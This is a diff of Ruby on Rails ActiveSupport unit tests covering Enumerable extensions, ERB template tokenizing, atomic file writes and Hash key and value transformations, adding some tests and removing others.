+    assert_equal "abc", ("a".."c").sum("")
     assert_equal 50_000_005_000_000, (0..10_000_000).sum
     assert_equal 0, (10..0).sum
     assert_equal 5, (10..0).sum(5)
@@ -120,16 +182,30 @@ def test_array_sums
     assert_equal 60, enum.sum { |i| i * 2 }
 
     enum = %w(a b c)
-    assert_equal "abc", enum.sum
-    assert_equal "aabbcc", enum.sum { |i| i * 2 }
+    assert_raises(TypeError) do
+      enum.sum
+    end
+    assert_equal "abc", enum.sum("")
+    assert_raises(TypeError) do
+      enum.sum { |i| i * 2 }
+    end
+    assert_equal "aabbcc", enum.sum("") { |i| i * 2 }
 
     payments = [ Payment.new(5), Payment.new(15), Payment.new(10) ]
     assert_equal 30, payments.sum(&:price)
     assert_equal 60, payments.sum { |p| p.price * 2 }
 
     payments = [ SummablePayment.new(5), SummablePayment.new(15) ]
-    assert_equal SummablePayment.new(20), payments.sum
-    assert_equal SummablePayment.new(20), payments.sum { |p| p }
+    assert_raises(TypeError) do
+      payments.sum
+    end
+    assert_equal SummablePayment.new(20), payments.sum(SummablePayment.new(0))
+    assert_raises(TypeError) do
+      payments.sum { |p| p }
+    end
+    assert_equal SummablePayment.new(20), payments.sum(SummablePayment.new(0)) { |p| p }
+
+    assert_equal Money.new(3), [Money.new(1), Money.new(2)].sum
 
     sum = [3, 5.quo(1)].sum
     assert_typed_equal(8, sum, Rational)
@@ -171,14 +247,27 @@ def test_index_by
     assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
                  payments.index_by(&:price))
     assert_equal Enumerator, payments.index_by.class
-    if Enumerator.method_defined? :size
-      assert_nil payments.index_by.size
-      assert_equal 42, (1..42).index_by.size
-    end
+    assert_nil payments.index_by.size
+    assert_equal 42, (1..42).index_by.size
     assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
                  payments.index_by.each(&:price))
   end
 
+  def test_index_with
+    payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
+
+    assert_equal({ Payment.new(5) => 5, Payment.new(15) => 15, Payment.new(10) => 10 }, payments.index_with(&:price))
+
+    assert_equal({ title: nil, body: nil }, %i( title body ).index_with(nil))
+    assert_equal({ title: [], body: [] }, %i( title body ).index_with([]))
+    assert_equal({ title: {}, body: {} }, %i( title body ).index_with({}))
+
+    assert_equal Enumerator, payments.index_with.class
+    assert_nil payments.index_with.size
+    assert_equal 42, (1..42).index_with.size
+    assert_equal({ Payment.new(5) => 5, Payment.new(15) => 15, Payment.new(10) => 10 }, payments.index_with.each(&:price))
+  end
+
   def test_many
     assert_equal false, GenericEnumerable.new([]).many?
     assert_equal false, GenericEnumerable.new([ 1 ]).many?
@@ -188,6 +277,8 @@ def test_many
     assert_equal false, GenericEnumerable.new([ 2 ]).many? { |x| x > 1 }
     assert_equal false, GenericEnumerable.new([ 1, 2 ]).many? { |x| x > 1 }
     assert_equal true,  GenericEnumerable.new([ 1, 2, 2 ]).many? { |x| x > 1 }
+    assert_equal true,  GenericEnumerable.new([ 1, 2, 3]).each_with_index.many? { |x, i| x == i + 1 }
+    assert_equal true,  GenericEnumerable.new([ [1, 2], [3, 4] ]).many? { |x| x.sum > 1 }
   end
 
   def test_many_iterates_only_on_what_is_needed
@@ -202,11 +293,18 @@ def test_exclude?
     assert_equal false, GenericEnumerable.new([ 1 ]).exclude?(1)
   end
 
+  def test_excluding
+    assert_equal [1, 2, 4], GenericEnumerable.new((1..5).to_a).excluding(3, 5)
+    assert_equal [3, 4, 5], GenericEnumerable.new((1..5).to_a).excluding([1, 2])
+    assert_equal [[0, 1]], GenericEnumerable.new([[0, 1], [1, 0]]).excluding([[1, 0]])
+    assert_equal [1, 2, 4], (1..5).to_a.excluding(3, 5)
+    assert_equal [1, 2, 4], (1..5).to_set.excluding(3, 5)
+    assert_equal({ foo: 1, baz: 3 }, { foo: 1, bar: 2, baz: 3 }.excluding(:bar))
+  end
+
   def test_without
     assert_equal [1, 2, 4], GenericEnumerable.new((1..5).to_a).without(3, 5)
-    assert_equal [1, 2, 4], (1..5).to_a.without(3, 5)
-    assert_equal [1, 2, 4], (1..5).to_set.without(3, 5)
-    assert_equal({ foo: 1, baz: 3 }, { foo: 1, bar: 2, baz: 3 }.without(:bar))
+    assert_equal [3, 4, 5], GenericEnumerable.new((1..5).to_a).without([1, 2])
   end
 
   def test_pluck
@@ -219,5 +317,121 @@ def test_pluck
       ExpandedPayment.new(10, 50)
     ])
     assert_equal [[5, 99], [15, 0], [10, 50]], payments.pluck(:dollars, :cents)
+
+    assert_equal [], [].pluck(:price)
+    assert_equal [], [].pluck(:dollars, :cents)
+  end
+
+  def test_pick
+    payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
+    assert_equal 5, payments.pick(:price)
+
+    payments = GenericEnumerable.new([
+      ExpandedPayment.new(5, 99),
+      ExpandedPayment.new(15, 0),
+      ExpandedPayment.new(10, 50)
+    ])
+    assert_equal [5, 99], payments.pick(:dollars, :cents)
+
+    assert_nil [].pick(:price)
+    assert_nil [].pick(:dollars, :cents)
+  end
+
+  def test_compact_blank
+    values = GenericEnumerable.new([1, "", nil, 2, " ", [], {}, false, true])
+
+    assert_equal [1, 2, true], values.compact_blank
+  end
+
+  def test_array_compact_blank!
+    values = [1, "", nil, 2, " ", [], {}, false, true]
+    values.compact_blank!
+
+    assert_equal [1, 2, true], values
+  end
+
+  def test_hash_compact_blank
+    values = { a: "", b: 1, c: nil, d: [], e: false, f: true }
+    assert_equal({ b: 1, f: true }, values.compact_blank)
+  end
+
+  def test_hash_compact_blank!
+    values = { a: "", b: 1, c: nil, d: [], e: false, f: true }
+    values.compact_blank!
+    assert_equal({ b: 1, f: true }, values)
+  end
+
+  def test_in_order_of
+    values = [ Payment.new(5), Payment.new(1), Payment.new(3) ]
+    assert_equal [ Payment.new(1), Payment.new(5), Payment.new(3) ], values.in_order_of(:price, [ 1, 5, 3 ])
+  end
+
+  def test_in_order_of_ignores_missing_series
+    values = [ Payment.new(5), Payment.new(1), Payment.new(3) ]
+    assert_equal [ Payment.new(1), Payment.new(5), Payment.new(3) ], values.in_order_of(:price, [ 1, 2, 4, 5, 3 ])
+  end
+
+  def test_in_order_of_drops_elements_not_named_in_series
+    values = [ Payment.new(5), Payment.new(1), Payment.new(3) ]
+    assert_equal [ Payment.new(1), Payment.new(5) ], values.in_order_of(:price, [ 1, 5 ])
+  end
+
+  def test_in_order_of_preserves_duplicates
+    values = [ Payment.new(5), Payment.new(1), Payment.new(5) ]
+    assert_equal [ Payment.new(1), Payment.new(5), Payment.new(5) ], values.in_order_of(:price, [ 1, 5 ])
   end
+
+  def test_in_order_of_preserves_nested_elements
+    values = [[:paid, { price: 1, currency: :eur }], [:opened, { price: 2, currency: :usd }]]
+    assert_equal [[:opened, { price: 2, currency: :usd }], [:paid, { price: 1, currency: :eur }]], values.in_order_of(:first, [:opened, :paid])
+  end
+
+  def test_in_order_of_with_filter_false
+    values = [ Payment.new(5), Payment.new(3), Payment.new(1) ]
+    assert_equal [ Payment.new(1), Payment.new(5), Payment.new(3) ], values.in_order_of(:price, [ 1, 5 ], filter: false)
+  end
+
+  def test_sole
+    expected_raise = Enumerable::SoleItemExpectedError
+
+    assert_raise(expected_raise) { GenericEnumerable.new([]).sole }
+    assert_equal 1, GenericEnumerable.new([1]).sole
+    assert_raise(expected_raise) { GenericEnumerable.new([1, 2]).sole }
+    assert_raise(expected_raise) { GenericEnumerable.new([1, nil]).sole }
+    assert_raise(expected_raise) { GenericEnumerable.new(1..).sole }
+  end
+
+  def test_sole_returns_same_value_as_first_for_tuples
+    enum = Enumerator.new(1) { |yielder| yielder.yield(1, "one") }
+    assert_equal [1, "one"], enum.sole
+    assert_equal enum.first, enum.sole
+  end
+
+  class KeywordYielder
+    include Enumerable
+
+    def each
+      yield 1, two: 3
+    end
+  end
+
+  def test_sole_keyword_arguments
+    yielder = KeywordYielder.new
+    assert_equal [1, { two: 3 }], yielder.sole
+    assert_equal yielder.first, yielder.sole
+  end
+
+  def test_doesnt_bust_constant_cache
+    skip "Only applies to MRI" unless defined?(RubyVM.stat)
+
+    object = Object.new
+    assert_no_difference -> { constant_cache_invalidations } do
+      object.extend(Enumerable)
+    end
+  end
+
+  private
+    def constant_cache_invalidations
+      RubyVM.stat(:constant_cache_invalidations)
+    end
 end
diff --git a/activesupport/test/core_ext/erb_util_test.rb b/activesupport/test/core_ext/erb_util_test.rb
new file mode 100644
index 0000000000000..b91dbfa2b9490
--- /dev/null
+++ b/activesupport/test/core_ext/erb_util_test.rb
@@ -0,0 +1,168 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/core_ext/string"
+
+module ActiveSupport
+  class ERBUtilTest < ActiveSupport::TestCase
+    def test_template_output
+      source = "Posts: <%= @post.length %>"
+      actual_tokens = tokenize source
+      assert_equal [[:TEXT, "Posts: "], [:OPEN, "<%="], [:CODE, " @post.length "], [:CLOSE, "%>"]], actual_tokens
+    end
+
+    def test_multi_tag
+      source = "Posts: <%= @post.length %> <% puts 'hi' %>"
+      actual_tokens = tokenize source
+      assert_equal [[:TEXT, "Posts: "],
+                    [:OPEN, "<%="],
+                    [:CODE, " @post.length "],
+                    [:CLOSE, "%>"],
+                    [:TEXT, " "],
+                    [:OPEN, "<%"],
+                    [:CODE, " puts 'hi' "],
+                    [:CLOSE, "%>"],
+      ], actual_tokens
+    end
+
+    def test_multi_line
+      source = "Posts: <%= @post.length %> <% puts 'hi' %>\nfoo <%"
+      actual_tokens = tokenize source
+      assert_equal [[:TEXT, "Posts: "],
+                    [:OPEN, "<%="],
+                    [:CODE, " @post.length "],
+                    [:CLOSE, "%>"],
+                    [:TEXT, " "],
+                    [:OPEN, "<%"],
+                    [:CODE, " puts 'hi' "],
+                    [:CLOSE, "%>"],
+                    [:TEXT, "\nfoo "],
+                    [:OPEN, "<%"],
+      ], actual_tokens
+    end
+
+    def test_starts_with_newline
+      source = "\nPosts: <%= @post.length %> <% puts 'hi' %>\nfoo <%"
+      actual_tokens = tokenize source
+      assert_equal [[:TEXT, "\nPosts: "],
+                    [:OPEN, "<%="],
+                    [:CODE, " @post.length "],
+                    [:CLOSE, "%>"],
+                    [:TEXT, " "],
+                    [:OPEN, "<%"],
+                    [:CODE, " puts 'hi' "],
+                    [:CLOSE, "%>"],
+                    [:TEXT, "\nfoo "],
+                    [:OPEN, "<%"],
+      ], actual_tokens
+    end
+
+    def test_newline_inside_tag
+      source = "Posts: <%= \n @post.length %> <% puts 'hi' %>\nfoo <%"
+      actual_tokens = tokenize source
+      assert_equal [[:TEXT, "Posts: "],
+                    [:OPEN, "<%="],
+                    [:CODE, " \n @post.length "],
+                    [:CLOSE, "%>"],
+                    [:TEXT, " "],
+                    [:OPEN, "<%"],
+                    [:CODE, " puts 'hi' "],
+                    [:CLOSE, "%>"],
+                    [:TEXT, "\nfoo "],
+                    [:OPEN, "<%"],
+      ], actual_tokens
+    end
+
+    def test_start
+      source = "<%= @post.length %> <% puts 'hi' %>"
+      actual_tokens = tokenize source
+      assert_equal [[:OPEN, "<%="],
+                    [:CODE, " @post.length "],
+                    [:CLOSE, "%>"],
+                    [:TEXT, " "],
+                    [:OPEN, "<%"],
+                    [:CODE, " puts 'hi' "],
+                    [:CLOSE, "%>"],
+      ], actual_tokens
+    end
+
+    def test_mid
+      source = "@post.length %> <% puts 'hi' %>"
+      actual_tokens = tokenize source
+      assert_equal [[:CODE, "@post.length "],
+                    [:CLOSE, "%>"],
+                    [:TEXT, " "],
+                    [:OPEN, "<%"],
+                    [:CODE, " puts 'hi' "],
+                    [:CLOSE, "%>"],
+      ], actual_tokens
+    end
+
+    def test_mid_start
+      source = "%> <% puts 'hi' %>"
+      actual_tokens = tokenize source
+      assert_equal [[:CLOSE, "%>"],
+                    [:TEXT, " "],
+                    [:OPEN, "<%"],
+                    [:CODE, " puts 'hi' "],
+                    [:CLOSE, "%>"],
+      ], actual_tokens
+    end
+
+    def test_no_end
+      source = "%> <% puts 'hi'"
+      actual_tokens = tokenize source
+      assert_equal [[:CLOSE, "%>"],
+                    [:TEXT, " "],
+                    [:OPEN, "<%"],
+                    [:CODE, " puts 'hi'"],
+      ], actual_tokens
+
+      source = "<% puts 'hi'"
+      actual_tokens = tokenize source
+      assert_equal [[:OPEN, "<%"],
+                    [:CODE, " puts 'hi'"],
+      ], actual_tokens
+    end
+
+    def test_text_end
+      source = "<%= @post.title %>   "
+      actual_tokens = tokenize source
+      assert_equal [[:OPEN, "<%="],
+                    [:CODE, " @post.title "],
+                    [:CLOSE, "%>"],
+                    [:TEXT, "   "],
+      ], actual_tokens
+    end
+
+    # This happens when a template is multiline and no
+    # ERB tags are used on the current line.
+    def test_plain_without_tags
+      source = " @post.title\n"
+      actual_tokens = tokenize source
+      assert_equal [[:PLAIN, " @post.title"]], actual_tokens
+    end
+
+    def test_multibyte_characters_start
+      source = "�ん���<%= name %>"
+      actual_tokens = tokenize source
+      assert_equal [[:TEXT, "�ん���"],
+                    [:OPEN, "<%="],
+                    [:CODE, " name "],
+                    [:CLOSE, "%>"],
+      ], actual_tokens
+    end
+
+    def test_multibyte_characters_end
+      source = " '�ん���' %>"
+      actual_tokens = tokenize source
+      assert_equal [[:CODE, " '�ん���' "],
+                    [:CLOSE, "%>"],
+      ], actual_tokens
+    end
+
+    def tokenize(source)
+      ERB::Util.tokenize source
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/file_test.rb b/activesupport/test/core_ext/file_test.rb
index df5d09acd021d..e8a7200c06c58 100644
--- a/activesupport/test/core_ext/file_test.rb
+++ b/activesupport/test/core_ext/file_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/core_ext/file"
 
 class AtomicWriteTest < ActiveSupport::TestCase
@@ -6,7 +8,7 @@ def test_atomic_write_without_errors
     contents = "Atomic Text"
     File.atomic_write(file_name, Dir.pwd) do |file|
       file.write(contents)
-      assert !File.exist?(file_name)
+      assert_not File.exist?(file_name)
     end
     assert File.exist?(file_name)
     assert_equal contents, File.read(file_name)
@@ -20,7 +22,7 @@ def test_atomic_write_doesnt_write_when_block_raises
       raise "something bad"
     end
   rescue
-    assert !File.exist?(file_name)
+    assert_not File.exist?(file_name)
   end
 
   def test_atomic_write_preserves_file_permissions
@@ -45,16 +47,35 @@ def test_atomic_write_preserves_file_permissions
   end
 
   def test_atomic_write_preserves_default_file_permissions
-    contents = "Atomic Text"
-    File.atomic_write(file_name, Dir.pwd) do |file|
-      file.write(contents)
-      assert !File.exist?(file_name)
+    Dir.mktmpdir do |temp_dir|
+      File.chmod 0700, temp_dir
+      file_path = File.join(temp_dir, file_name)
+
+      File.open(file_path, "wb", &:close)
+
+      original_permissions = File.stat(file_path).mode.to_s(8)
+      File.atomic_write(file_path, &:close)
+      actual_permissions = File.stat(file_path).mode.to_s(8)
+
+      assert_equal original_permissions, actual_permissions
+    end
+  end
+
+  def test_atomic_write_preserves_file_permissions_same_directory
+    Dir.mktmpdir do |temp_dir|
+      File.chmod 0700, temp_dir
+      file_path = File.join(temp_dir, file_name)
+
+      File.open(file_path, "wb") do |f|
+        f.chmod(0067)
+      end
+
+      original_permissions = File.stat(file_path).mode.to_s(8)
+      File.atomic_write(file_path, &:close)
+      actual_permissions = File.stat(file_path).mode.to_s(8)
+
+      assert_equal original_permissions, actual_permissions
     end
-    assert File.exist?(file_name)
-    assert_equal File.probe_stat_in(Dir.pwd).mode, file_mode
-    assert_equal contents, File.read(file_name)
-  ensure
-    File.unlink(file_name) rescue nil
   end
 
   def test_atomic_write_returns_result_from_yielded_block
@@ -67,9 +88,15 @@ def test_atomic_write_returns_result_from_yielded_block
     File.unlink(file_name) rescue nil
   end
 
+  def test_when_no_dir
+    assert_raises Errno::ENOENT do
+      File.atomic_write("/dir/does/not/exist/file.txt") { }
+    end
+  end
+
   private
     def file_name
-      "atomic.file"
+      "atomic-#{Process.pid}.file"
     end
 
     def file_mode
diff --git a/activesupport/test/core_ext/hash/transform_keys_test.rb b/activesupport/test/core_ext/hash/transform_keys_test.rb
deleted file mode 100644
index 7a11d827f8e7a..0000000000000
--- a/activesupport/test/core_ext/hash/transform_keys_test.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-require "abstract_unit"
-require "active_support/core_ext/hash/keys"
-
-class TransformKeysTest < ActiveSupport::TestCase
-  test "transform_keys returns a new hash with the keys computed from the block" do
-    original = { a: "a", b: "b" }
-    mapped = original.transform_keys { |k| "#{k}!".to_sym }
-
-    assert_equal({ a: "a", b: "b" }, original)
-    assert_equal({ a!: "a", b!: "b" }, mapped)
-  end
-
-  test "transform_keys! modifies the keys of the original" do
-    original = { a: "a", b: "b" }
-    mapped = original.transform_keys! { |k| "#{k}!".to_sym }
-
-    assert_equal({ a!: "a", b!: "b" }, original)
-    assert_same original, mapped
-  end
-
-  test "transform_keys returns a sized Enumerator if no block is given" do
-    original = { a: "a", b: "b" }
-    enumerator = original.transform_keys
-    assert_equal original.size, enumerator.size
-    assert_equal Enumerator, enumerator.class
-  end
-
-  test "transform_keys! returns a sized Enumerator if no block is given" do
-    original = { a: "a", b: "b" }
-    enumerator = original.transform_keys!
-    assert_equal original.size, enumerator.size
-    assert_equal Enumerator, enumerator.class
-  end
-
-  test "transform_keys is chainable with Enumerable methods" do
-    original = { a: "a", b: "b" }
-    mapped = original.transform_keys.with_index { |k, i| [k, i].join.to_sym }
-    assert_equal({ a0: "a", b1: "b" }, mapped)
-  end
-
-  test "transform_keys! is chainable with Enumerable methods" do
-    original = { a: "a", b: "b" }
-    original.transform_keys!.with_index { |k, i| [k, i].join.to_sym }
-    assert_equal({ a0: "a", b1: "b" }, original)
-  end
-
-  test "transform_keys returns a Hash instance when self is inherited from Hash" do
-    class HashDescendant < ::Hash
-      def initialize(elements = nil)
-        super(elements)
-        (elements || {}).each_pair { |key, value| self[key] = value }
-      end
-    end
-
-    original = HashDescendant.new(a: "a", b: "b")
-    mapped = original.transform_keys { |k| "#{k}!".to_sym }
-
-    assert_equal({ a: "a", b: "b" }, original)
-    assert_equal({ a!: "a", b!: "b" }, mapped)
-    assert_equal(::Hash, mapped.class)
-  end
-end
diff --git a/activesupport/test/core_ext/hash/transform_values_test.rb b/activesupport/test/core_ext/hash/transform_values_test.rb
index f2ac4ce6cecb9..4184d21557c44 100644
--- a/activesupport/test/core_ext/hash/transform_values_test.rb
+++ b/activesupport/test/core_ext/hash/transform_values_test.rb
@@ -1,24 +1,9 @@
-require "abstract_unit"
-require "active_support/core_ext/hash/indifferent_access"
-require "active_support/core_ext/hash/transform_values"
-
-class TransformValuesTest < ActiveSupport::TestCase
-  test "transform_values returns a new hash with the values computed from the block" do
-    original = { a: "a", b: "b" }
-    mapped = original.transform_values { |v| v + "!" }
+# frozen_string_literal: true
 
-    assert_equal({ a: "a", b: "b" }, original)
-    assert_equal({ a: "a!", b: "b!" }, mapped)
-  end
-
-  test "transform_values! modifies the values of the original" do
-    original = { a: "a", b: "b" }
-    mapped = original.transform_values! { |v| v + "!" }
-
-    assert_equal({ a: "a!", b: "b!" }, original)
-    assert_same original, mapped
-  end
+require_relative "../../abstract_unit"
+require "active_support/core_ext/hash/indifferent_access"
 
+class IndifferentTransformValuesTest < ActiveSupport::TestCase
   test "indifferent access is still indifferent after mapping values" do
     original = { a: "a", b: "b" }.with_indifferent_access
     mapped = original.transform_values { |v| v + "!" }
@@ -26,50 +11,4 @@ class TransformValuesTest < ActiveSupport::TestCase
     assert_equal "a!", mapped[:a]
     assert_equal "a!", mapped["a"]
   end
-
-  # This is to be consistent with the behavior of Ruby's built in methods
-  # (e.g. #select, #reject) as of 2.2
-  test "default values do not persist during mapping" do
-    original = Hash.new("foo")
-    original[:a] = "a"
-    mapped = original.transform_values { |v| v + "!" }
-
-    assert_equal "a!", mapped[:a]
-    assert_nil mapped[:b]
-  end
-
-  test "default procs do not persist after mapping" do
-    original = Hash.new { "foo" }
-    original[:a] = "a"
-    mapped = original.transform_values { |v| v + "!" }
-
-    assert_equal "a!", mapped[:a]
-    assert_nil mapped[:b]
-  end
-
-  test "transform_values returns a sized Enumerator if no block is given" do
-    original = { a: "a", b: "b" }
-    enumerator = original.transform_values
-    assert_equal original.size, enumerator.size
-    assert_equal Enumerator, enumerator.class
-  end
-
-  test "transform_values! returns a sized Enumerator if no block is given" do
-    original = { a: "a", b: "b" }
-    enumerator = original.transform_values!
-    assert_equal original.size, enumerator.size
-    assert_equal Enumerator, enumerator.class
-  end
-
-  test "transform_values is chainable with Enumerable methods" do
-    original = { a: "a", b: "b" }
-    mapped = original.transform_values.with_index { |v, i| [v, i].join }
-    assert_equal({ a: "a0", b: "b1" }, mapped)
-  end
-
-  test "transform_values! is chainable with Enumerable methods" do
-    original = { a: "a", b: "b" }
-    original.transform_values!.with_index { |v, i| [v, i].join }
-    assert_equal({ a: "a0", b: "b1" }, original)
-  end
 end
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index 05813ad3889af..46796fe8a9aa5 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -1,38 +1,16 @@
-require "abstract_unit"
-require "active_support/core_ext/hash"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "bigdecimal"
+require "yaml"
+require "active_support/core_ext/hash"
 require "active_support/core_ext/string/access"
-require "active_support/ordered_hash"
 require "active_support/core_ext/object/conversions"
+require "active_support/core_ext/date/conversions"
 require "active_support/core_ext/object/deep_dup"
 require "active_support/inflections"
 
 class HashExtTest < ActiveSupport::TestCase
-  class IndifferentHash < ActiveSupport::HashWithIndifferentAccess
-  end
-
-  class SubclassingArray < Array
-  end
-
-  class SubclassingHash < Hash
-  end
-
-  class NonIndifferentHash < Hash
-    def nested_under_indifferent_access
-      self
-    end
-  end
-
-  class HashByConversion
-    def initialize(hash)
-      @hash = hash
-    end
-
-    def to_hash
-      @hash
-    end
-  end
-
   def setup
     @strings = { "a" => 1, "b" => 2 }
     @nested_strings = { "a" => { "b" => { "c" => 3 } } }
@@ -54,10 +32,10 @@ def setup
 
   def test_methods
     h = {}
-    assert_respond_to h, :transform_keys
-    assert_respond_to h, :transform_keys!
     assert_respond_to h, :deep_transform_keys
     assert_respond_to h, :deep_transform_keys!
+    assert_respond_to h, :deep_transform_values
+    assert_respond_to h, :deep_transform_values!
     assert_respond_to h, :symbolize_keys
     assert_respond_to h, :symbolize_keys!
     assert_respond_to h, :deep_symbolize_keys
@@ -68,24 +46,9 @@ def test_methods
     assert_respond_to h, :deep_stringify_keys!
     assert_respond_to h, :to_options
     assert_respond_to h, :to_options!
-    assert_respond_to h, :compact
-    assert_respond_to h, :compact!
-    assert_respond_to h, :except
     assert_respond_to h, :except!
   end
 
-  def test_transform_keys
-    assert_equal @upcase_strings, @strings.transform_keys { |key| key.to_s.upcase }
-    assert_equal @upcase_strings, @symbols.transform_keys { |key| key.to_s.upcase }
-    assert_equal @upcase_strings, @mixed.transform_keys { |key| key.to_s.upcase }
-  end
-
-  def test_transform_keys_not_mutates
-    transformed_hash = @mixed.dup
-    transformed_hash.transform_keys { |key| key.to_s.upcase }
-    assert_equal @mixed, transformed_hash
-  end
-
   def test_deep_transform_keys
     assert_equal @nested_upcase_strings, @nested_symbols.deep_transform_keys { |key| key.to_s.upcase }
     assert_equal @nested_upcase_strings, @nested_strings.deep_transform_keys { |key| key.to_s.upcase }
@@ -101,19 +64,6 @@ def test_deep_transform_keys_not_mutates
     assert_equal @nested_mixed, transformed_hash
   end
 
-  def test_transform_keys!
-    assert_equal @upcase_strings, @symbols.dup.transform_keys! { |key| key.to_s.upcase }
-    assert_equal @upcase_strings, @strings.dup.transform_keys! { |key| key.to_s.upcase }
-    assert_equal @upcase_strings, @mixed.dup.transform_keys! { |key| key.to_s.upcase }
-  end
-
-  def test_transform_keys_with_bang_mutates
-    transformed_hash = @mixed.dup
-    transformed_hash.transform_keys! { |key| key.to_s.upcase }
-    assert_equal @upcase_strings, transformed_hash
-    assert_equal({ :a => 1, "b" => 2 }, @mixed)
-  end
-
   def test_deep_transform_keys!
     assert_equal @nested_upcase_strings, @nested_symbols.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }
     assert_equal @nested_upcase_strings, @nested_strings.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }
@@ -130,6 +80,31 @@ def test_deep_transform_keys_with_bang_mutates
     assert_equal({ "a" => { b: { "c" => 3 } } }, @nested_mixed)
   end
 
+  def test_deep_transform_values
+    assert_equal({ "a" => "1", "b" => "2" }, @strings.deep_transform_values { |value| value.to_s })
+    assert_equal({ "a" => { "b" => { "c" => "3" } } }, @nested_strings.deep_transform_values { |value| value.to_s })
+    assert_equal({ "a" => [ { "b" => "2" }, { "c" => "3" }, "4" ] }, @string_array_of_hashes.deep_transform_values { |value| value.to_s })
+  end
+
+  def test_deep_transform_values_not_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_transform_values { |value| value.to_s }
+    assert_equal @nested_mixed, transformed_hash
+  end
+
+  def test_deep_transform_values!
+    assert_equal({ "a" => "1", "b" => "2" }, @strings.deep_transform_values! { |value| value.to_s })
+    assert_equal({ "a" => { "b" => { "c" => "3" } } }, @nested_strings.deep_transform_values! { |value| value.to_s })
+    assert_equal({ "a" => [ { "b" => "2" }, { "c" => "3" }, "4" ] }, @string_array_of_hashes.deep_transform_values! { |value| value.to_s })
+  end
+
+  def test_deep_transform_values_with_bang_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_transform_values! { |value| value.to_s }
+    assert_equal({ "a" => { b: { "c" => "3" } } }, transformed_hash)
+    assert_equal({ "a" => { b: { "c" => 3 } } }, @nested_mixed)
+  end
+
   def test_symbolize_keys
     assert_equal @symbols, @symbols.symbolize_keys
     assert_equal @symbols, @strings.symbolize_keys
@@ -262,461 +237,6 @@ def test_deep_stringify_keys_with_bang_mutates
     assert_equal({ "a" => { b: { "c" => 3 } } }, @nested_mixed)
   end
 
-  def test_symbolize_keys_for_hash_with_indifferent_access
-    assert_instance_of Hash, @symbols.with_indifferent_access.symbolize_keys
-    assert_equal @symbols, @symbols.with_indifferent_access.symbolize_keys
-    assert_equal @symbols, @strings.with_indifferent_access.symbolize_keys
-    assert_equal @symbols, @mixed.with_indifferent_access.symbolize_keys
-  end
-
-  def test_deep_symbolize_keys_for_hash_with_indifferent_access
-    assert_instance_of Hash, @nested_symbols.with_indifferent_access.deep_symbolize_keys
-    assert_equal @nested_symbols, @nested_symbols.with_indifferent_access.deep_symbolize_keys
-    assert_equal @nested_symbols, @nested_strings.with_indifferent_access.deep_symbolize_keys
-    assert_equal @nested_symbols, @nested_mixed.with_indifferent_access.deep_symbolize_keys
-  end
-
-  def test_symbolize_keys_bang_for_hash_with_indifferent_access
-    assert_raise(NoMethodError) { @symbols.with_indifferent_access.dup.symbolize_keys! }
-    assert_raise(NoMethodError) { @strings.with_indifferent_access.dup.symbolize_keys! }
-    assert_raise(NoMethodError) { @mixed.with_indifferent_access.dup.symbolize_keys! }
-  end
-
-  def test_deep_symbolize_keys_bang_for_hash_with_indifferent_access
-    assert_raise(NoMethodError) { @nested_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
-    assert_raise(NoMethodError) { @nested_strings.with_indifferent_access.deep_dup.deep_symbolize_keys! }
-    assert_raise(NoMethodError) { @nested_mixed.with_indifferent_access.deep_dup.deep_symbolize_keys! }
-  end
-
-  def test_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
-    assert_equal @illegal_symbols, @illegal_symbols.with_indifferent_access.symbolize_keys
-    assert_raise(NoMethodError) { @illegal_symbols.with_indifferent_access.dup.symbolize_keys! }
-  end
-
-  def test_deep_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
-    assert_equal @nested_illegal_symbols, @nested_illegal_symbols.with_indifferent_access.deep_symbolize_keys
-    assert_raise(NoMethodError) { @nested_illegal_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
-  end
-
-  def test_symbolize_keys_preserves_integer_keys_for_hash_with_indifferent_access
-    assert_equal @integers, @integers.with_indifferent_access.symbolize_keys
-    assert_raise(NoMethodError) { @integers.with_indifferent_access.dup.symbolize_keys! }
-  end
-
-  def test_deep_symbolize_keys_preserves_integer_keys_for_hash_with_indifferent_access
-    assert_equal @nested_integers, @nested_integers.with_indifferent_access.deep_symbolize_keys
-    assert_raise(NoMethodError) { @nested_integers.with_indifferent_access.deep_dup.deep_symbolize_keys! }
-  end
-
-  def test_stringify_keys_for_hash_with_indifferent_access
-    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.stringify_keys
-    assert_equal @strings, @symbols.with_indifferent_access.stringify_keys
-    assert_equal @strings, @strings.with_indifferent_access.stringify_keys
-    assert_equal @strings, @mixed.with_indifferent_access.stringify_keys
-  end
-
-  def test_deep_stringify_keys_for_hash_with_indifferent_access
-    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.deep_stringify_keys
-    assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_stringify_keys
-    assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_stringify_keys
-    assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_stringify_keys
-  end
-
-  def test_stringify_keys_bang_for_hash_with_indifferent_access
-    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.dup.stringify_keys!
-    assert_equal @strings, @symbols.with_indifferent_access.dup.stringify_keys!
